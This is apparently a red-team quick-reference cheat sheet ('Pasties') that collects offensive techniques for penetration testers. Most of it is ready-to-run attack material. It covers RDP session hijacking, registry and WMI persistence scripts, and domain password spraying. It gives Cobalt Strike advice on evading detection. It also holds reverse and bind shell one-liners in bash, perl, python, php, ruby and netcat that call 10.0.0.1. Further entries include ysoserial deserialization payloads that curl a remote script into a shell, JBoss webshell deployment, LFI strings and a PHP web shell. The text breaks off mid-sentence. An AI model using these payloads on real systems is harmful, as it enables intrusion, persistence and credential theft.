Pasties

‘Pasties’ started as a small file used to collect random bits of information and scripts that were common to many individual tests. Most of this is just a consolidation of publicly available information and things that Joe Vest (@joevest), Andrew Chiles (@andrewchiles), Derek Rushing, or myself (@minis_io) have found useful. Over time additional sections, section placeholders, snippets, and links were added for “quick reference” and has grown to quite a sizable markdown file. The more complex or longer sections will be separated into smaller more detailed write-ups; however, we decided to drop the short and generic info for public use now. Pasties data will also eventually be formatted and added to the wiki.

As usual, you can find the raw file and get the latest version of tools on our GitHub repository: https://github.com/threatexpress/.

Metagoofil

Source: http://resources.infosecinstitute.com/kali-reporting-tools/#gref

Metagoofil is an information gathering tool designed for extracting metadata of public documents (pdf,doc,xls,ppt,docx,pptx,xlsx) related to a target domain. It can give a lot of important information by scanning the obtained files. It can generate an HTML page with the result of the metadata extracted, plus a list of potential usernames, very useful for preparing a brute force attack on open services like ftp, web application, VPN, pop3, etc.

Metagoofil performs the following:

  • Searches the given file type using the Google search engine
  • Downloads all the documents found
  • Extracts metadata from downloaded documents
  • Saves the result in HTML file

Perform document metadata searching on target domain using first 200 google results

metagoofil -d .com -t pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx -l 200 -n 5 -o /tmp/metagoofil/ -f /tmp/metagoofil/result.html

censys.io

Censys is a search engine that allows computer scientists to ask questions about the devices and networks that compose the Internet. Driven by Internet-wide scanning, Censys lets researchers find specific hosts and create aggregate reports on how devices, websites, and certificates are configured and deployed.

Python API

# pip installcensys import censys.ipv4
c = censys.ipv4.CensysIPv4(api_id="Get from MyAccount at censys.io", api_secret="Get from MyAccount at censys.io") ranges=["X.X.X.0/24", "X.X.X.0/24", "X.X.X.0/24"]
for range in ranges: results = c.search(range)
for result in results:
for port in result["protocols"]:
print result["ip"] + "," + port

RDP Hijacking

If you have SYSTEM context on a host, you can assume the RDP sessions of other users without credentials using the tscon.exe command.

Gain access to cmd.exe to issue the tscon.exe command over RDP by creating a backdoor with Stickkeys or Utilman. Use scheduled tasks (as SYSTEM) or create a service to execute the desired command.

RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation

# View RDP sessions on system your RDP'd to with administrative permissions
# Locally
quser
# Remote
quser /server:
# Create a service that will swap your SESSIONNAME with the desired disconnected session
sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#XX" error= "ignore"
# Start service
net start sesshijack
or
sc start sesshijack

Userinit Key

This key specifies what program should be launched right after a user logs into Windows. The default program for this key is C:\windows\system32\userinit.exe. Userinit.exe is a program that restores your profile, fonts, colors, etc for your user name. It is possible to add further programs that will launch from this key by separating the programs with a comma.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = (REG_SZ) C:\windows\system32\userinit.exe,c:\windows\badprogram.exe

AppInit_DLLs

Load custom DLLs each time a program runs (If it loads USER32.dll). This is checked by most AV!

This value corresponds to files being loaded through the AppInit_DLLs Registry value. The AppInit_DLLs registry value contains a list of dlls that will be loaded when user32.dll is loaded. As most Windows executables use the user32.dll, that means that any DLL that is listed in the AppInit_DLLs registry key will be loaded also. This makes it very difficult to remove the DLL as it will be loaded within multiple processes, some of which can not be stopped without causing system instability. The user32.dll file is also used by processes that are automatically started by the system when you log on. This means that the files loaded in the AppInit_DLLs value will be loaded very early in the Windows startup routine allowing the DLL to hide itself or protect itself before we have access to the system.

wmic process call create \\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\evil.exe

This process will not show the imagename (executable filename) or commandline parameters in the task list.
The file cannot be individually deleted from the shadow copy once created. The entire shadow copy must be deleted to remove it.

DLL-Hijacking

Order of DLL Loading

1. The directory from which the application is loaded
2. The current directory
3. The system directory, usually C:\\Windows\\System32\\ (The GetSystemDirectory function is called to obtain this directory.)

WMI Event Persistence via Powershell

WMI Event persistence explained, you can find a bloated version in powersploit. Three parts to this: * WMI Event Filter * Event Consumer * Filter/Consumer Binding. This technique gets you SYSTEM level persistence, requires admin rights to execute. Autoruns doesn’t even check for this yet. (doubt any AVs are either). Difficult to detect, Difficult to remove if you dont know what youre doing.

WMI Event Filter

Create an event that checks every 60 seconds for a change in Win32_PerfFormattedData_PerfOS_System. (this is always changing)

$EventFilter = ([WMICLASS]"\\.\root\subscription:__EventFilter").CreateInstance() $EventFilter.QueryLanguage = "WQL"
$EventFilter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime <325"
$EVentFilter.EventNamespace = "root\cimv2"
$EventFilter.Name = "OBVIOUSHACKER"
$Result = $EventFilter.Put()
$Filter = $Result.Path

http://msdn.microsoft.com/en-us/library/aa394639(v=vs.85).aspx

Event Consumer

Configure what to execute once the event occurs.
Current example is just a ping.

$InstanceConsumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$InstanceConsumer.Name = "OBVIOUSHACKER" $InstanceConsumer.CommandLineTemplate = "ping 127.0.0.1 -n 100" #CMD TO EXECUTE HERE
$InstanceConsumer.WorkingDirectory = "C:\\windows\\system32"
$Result = $InstanceConsumer.Put()
$Consumer = $Result.Path

http://msdn.microsoft.com/en-us/library/aa389231(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/aa393649(v=vs.85).aspx

Filter/Consumer Binding

This is the object that correlates the Filter with the Consumer.
Runs as system as a child of WmiPrvSE.exe under the svchost.exe running Dcom service.

$InstanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$InstanceBinding.Filter = $Filter
$InstanceBinding.Consumer = $Consumer
$Result = $InstanceBinding.Put()

http://msdn.microsoft.com/en-us/library/aa394647(v=vs.85).aspx

REMOVAL

The filter name would change depending on what you call the wmi event on your target (OBVIOUSHACKER shown as the example)

Get-WmiObject __eventFilter -namespace root\subscription -filter "name='OBVIOUSHACKER'"| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='OBVIOUSHACKER'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'OBVIOUSHACKER'} | Remove-WmiObject

Malicious Outlook Rules

Windows Remote Management (WinRM) / PSRemoting

  • Listens on 5985/5986 by default and allows interactive shell access over HTTP/S
  • Find by scanning for /wsman and looking for HTTP 402 errors (or use Metasploit module)
  • Metasploit has multiple modules for locating the service and gaining shells over WinRM

MailSniper (OWA and Exchange Enumeration)

Source: https://github.com/dafthack/MailSniper

MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.

MailSniper also includes additional modules for password spraying, and gathering the Global Address List from OWA and EWS.

Bypassing Dual Factor Authentication on OWA — http://www.blackhillsinfosec.com/?p=5396

  • It appears that Outlook portals that are being protected by two-factor authentication might not be covering all of the authentication protocols to Microsoft Exchange.
  • Leverages the Exchange Web Services (EWS) feature of OWA. Just have to check for the presence of mail.org.com\EWS\Exchange.asmx

Invoke-SelfSearch -Mailbox email@domain.com -ExchHostname mail.domain.com -Remote

  • After the credentials have been entered MailSniper will attempt to connect to the EWS URL at https://mail.domain.com/EWS/Exchange.asmx and search the user’s inbox for key terms (by default “pass”, “creds”, and “credentials”).

DomainPasswordSpray (Internal Windows Domain Password Brute Forcing)

Source: https://github.com/dafthack/DomainPasswordSpray

DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!

Quick Start Guide

Open a PowerShell terminal from the Windows command line with ‘powershell.exe -exec bypass’.

Type 'Import-Module Invoke-DomainPasswordSpray.ps1'.

The only option necessary to perform a password spray is either -Password for a single password or -PasswordList to attempt multiple sprays. When using the -PasswordList option Invoke-DomainPasswordSpray will attempt to gather the account lockout observation window from the domain and limit sprays to one per observation window to avoid locking out accounts.

The following command will automatically generate a list of users from the current user’s domain and attempt to authenticate using each username and a password of Winter2016.

PowerShell Invoke-DomainPasswordSpray -Password Winter2016

The following command will use the userlist at users.txt and try to authenticate to the domain “domain-name” using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain’s lockout observation window and restrict sprays to one attempt during each window. The results of the spray will be output to a file called sprayed-creds.txt

PowerShell Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

Invoke-DomainPasswordSpray Options

UserList - Optional UserList parameter. This will be generated automatically if not specified.
Password - A single password that will be used to perform the password spray.
PasswordList - A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
OutFile - A file to output the results to.
Domain - A domain to spray against.

OPSEC Considerations for Beacon Commands

Blog.Cobaltstrike.com — OPSEC Considerations For Beacon Commands

A good operator knows their tools and has an idea of how the tool is accomplishing its objectives on their behalf. This blog post surveys Beacons commands and provides background on which commands inject into remote processes, which commands spawn jobs, and which commands rely on cmd.exe or powershell.exe.

API-only
These commands are built-into Beacon and rely on Win32 APIs to meet their objectives.

cd
cp
download
drives
exit
getuid
kerberos_ccache_use
kerberos_ticket_purge
kerberos_ticket_use
jobkill
kill
link
ls
make_token
mkdir
mv
ppid
ps
pwd
rev2self
rm
rportfwd
socks
steal_token
timestomp
unlink
upload

House-keeping Commands
The following commands are built into Beacon and exist to configure Beacon or perform house-keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not generate a task for Beacon to execute.

cancel
checkin
clear
downloads
help
jobs
mode dns
mode dns-txt
mode dns6
mode http
note
powershell-import
sleep
socks stop
spawnto

Post-Exploitation Jobs (Process Execution + Remote Process Injection)
Many Beacon post-exploitation features spawn a process and inject a capability into that process. Beacon does this for a number of reasons: (i) this protects the agent if the capability crashes, (ii) this scheme makes it seamless for an x86 Beacon to launch x64 post-exploitation tasks. The following commands run as post-exploitation jobs:

browserpivot
bypassuac
covertvpn
dcsync
desktop
elevate
hashdump
keylogger
logonpasswords
mimikatz
net
portscan
powerpick
psinject
pth
screenshot
shspawn
spawn
ssh
ssh-key
wdigest

OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe (you probably don’t want that). The ppid command will change the parent process these jobs are run under as well.

Process Execution
These commands spawn a new process:

execute
runas
runu

OPSEC Advice: The ppid command will change the parent process of commands run by execute. The ppid command does not affect runas or spawnu.

Process Execution: Cmd.exe
The shell command depends on cmd.exe.

The pth and getsystem commands get honorable mention here. These commands rely on cmd.exe to pass a token to Beacon via a named pipe.

OPSEC Advice: the shell command uses the COMSPEC environment variable to find the preferred command-line interpreter on Windows. Use Aggressor Script’s &bsetenv function to point COMSPEC to a different cmd.exe location, if needed. Use the ppid command to change the parent process the command-line interpreter is run under. To pth without cmd.exe, execute the pth steps by hand.

Process Execution: PowerShell.exe
The following commands launch powershell.exe to perform some task on your behalf.

powershell
spawnas
spawnu
winrm
wmi

OPSEC Advice: Use the ppid command to change the parent process powershell.exe is run under. Be aware, there are alternatives to each of these commands that do not use powershell.exe:

spawnu has runu which runs an arbitrary command under another process.spawnas has runas which runs an arbitrary command as another user.powershell has powerpick, this command runs powershell scripts without powershell.exe.

It’s also possible to laterally spread without the winrm and wmi commands.
Remote Process Injection

The post-exploitation job commands (previously mentioned) rely on process injection too. The other commands that inject into a remote process are:

dllinject
inject
shinject

Service Creation

The following internal Beacon commands create a service (either on the current host or a remote target) to run a command. These commands use Win32 APIs to create and manipulate services.

getsystem
psexec
psexec_psh

-b "dc=sittingduck,dc=info" - This loads the base LDAP object of the entire domain. "(ms-MCS-AdmPwd=*)" - Filter out any objects that I can’t see a value for ms-MCS-AdmPwd for. (If you have rights as that user to see even one Administrator password, this will show it.)
ms-MCS-AdmPwd - Only show me the ms-MCS-AdmPwd object (which by default includes the object name and DN so you will still know what host it belongs to)

/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

Bind Shells

https://github.com/infodox/exploits/blob/master/payloads/linux/perl.py

Perl Bind Shell (Port 1000)

perl -e 'use Socket;$p=10000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S, SOMAXCONN);for(; $p= accept(C, S); close C) {open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/usr/bin/bash -i");};'

Reverse Shells

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 — which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

your’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

SSH Tunnels

Send data over ssh to port 9000 on target

ssh -L 8090:localhost:9000 james@123.123.123

Send data over ssh to port 80 on target through jumphost

ssh -A -t -p22 -L 8800:localhost:8800 james@123.001.123.321 -t ssh -L 8800:localhost:80 james@124.123.122

Java

JBOSS

Default credential is “admin:admin”

0. Host your .jar/.war payload with webshell on local webserver1. Navigate to the JMX Console on the target host (http://IP.Ad.dr.ess:port/jmx-console/) and search for “service=MainDeployer”.2. From here you’ll want to utilize the deploy() function since it allows you to enter a URL as a parameter value in java.net.URL. In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button.

Java Deserialization

Java Deserialization Cheat Sheet

How to get a full shell through Java Runtime.exec

Ysoserial payload to execute full commands

sh -c $@|sh . <payload here>

Generate a ysoserial payload to tell server to download further commands via curl and pipe to shell

java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'sh -c $@|sh . curl http://10.42.65.40/commands.sh |sh' >jenkins_curl_shell.bin

Generate a ysoserial payload to execute nc bind shell

java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'sh -c $@|sh . nc -lp 8088 -e /bin/bash' >nc-jenkins.out

JMXInvokerServlet

./ysoserial-master-v0.0.4-gad26e2b-61.jar CommonsCollections5 "touch /tmp/pwned" >payload.txt

Generate payload with yososerial and send with Burp. You will get a jboss.invocation.InvocationException response on success or failure.

Ensure the headers match these:

POST /invoker/JMXInvokerServlet HTTP/1.1
Host: <hostname/IP>:8080
Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
Content-Length: 2083

PHP

LFI Read File (without executing)

www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

LFI Read PHP session file for current sessionid

http://blog.target.org/blog.php?page=/var/lib/php5/sess_th3cr1i5cm6m3dq98pb2sn9qg5

Create PHP backdoor/shell (windows):

echo ^<?php echo passthru($_GET['cmd']); ?^> >C:\inetpub\wwwroot\s.php

PHP Command Execution Example

In page.php (or shell)
@extract ($_REQUEST);
@die ($page($help));
url/page.php?page=system&help=cmd
Note: Perms in the shell helps url obfuscation (encoding is better).
page=system
c1="execute command"
c2="execute command 2"
url/page.php?page&help=c1

PHP Type Juggling

Bypass login authentication with PHP Type juggling by forcing a null condition in a string comparison.

Add [] after a POST parameter “?user_id[]=user22” to force a NULL (zero-like) condition when comparing a string and an array

Web Sockets

There are still relatively few dec ent Web Socket testing tools and most aren’t very mature:

  • BurpSuite — Limited options to view web socket communication, but no ability to edit or replay traffic
  • ZAP Proxy — Ability to modify, replay, and fuzz web sockets, but still relatively clumsy
  • WSSiP– WebSocket Manipulation Proxy — Application for capturing, modifying and sending custom WebSocket data from client to server and vice versa.

Misc

Things that don’t seem to fit elsewhere!

Canary Tokens

Tokens consist of a unique identifier (which can be embedded in either HTTP URLs or in hostnames.) Whenever that URL is requested, or the hostname is resolved, we send a notification email to the address tied to the token. You can get one in seconds, using just your browser.

To obtain a token:

1. Visit http://canarytokens.org.2. Enter your email address. (It's only used to notify you when the token is triggered, mails are not used for any other purpose.)3. Enter a comment which describes where you're using the token. If the token is triggered in six months time, a comment will help you remember where you placed the token. Be specific (e.g. "file watch on 192.168.100.2:/repos/repo3/README.txt" or "Password lure email in user@domain.com inbox". We envisage having loads of tokens, so a good description is necessary.4. Click "Generate Token" to obtain your token.5. Copy the token and drop it somewhere it will be stumbled over.

Python SSL Web Server

Create PEM file

openssl req -newkey rsa:2048 -x509 -keyout cakey.pem -out cacert.pem -days 3650

To concatenate the private key and public certificate into a pem file (which is required for many web-servers ) :

cat cakey.pem cacert.pem > server.pem

Python code

import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('localhost', 4443), SimpleHTTPServer.SimpleHTTPRequestHandler)httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)httpd.serve_forever()

Magic Hashes

Source: https://www.whitehatsec.com/blog/magic-hashes/

Use Case 1: Use the “Magic” Number below as a password or as a string that you expect to be hashed. When it is compared against the hash of the actual value, and if they both are treated as “0” and therefore evaluated as true, you will be able to log into the account without the valid password. This could be forced to happen in environments where automatic passwords are chosen for users during a forgot password flow and then attempting to log in immediately afterwards, as an example.

Use Case 2: The attacker can simply take the example in the Hash column in the table below and use it as a value. In some cases these values are simply done as a look-up against known values (in memory, or perhaps dumped from a database and compared). By simply submitting the hash value, the magic hash may collide with other hashes which both are treated as “0” and therefore compare to be true. This could be caused to happen
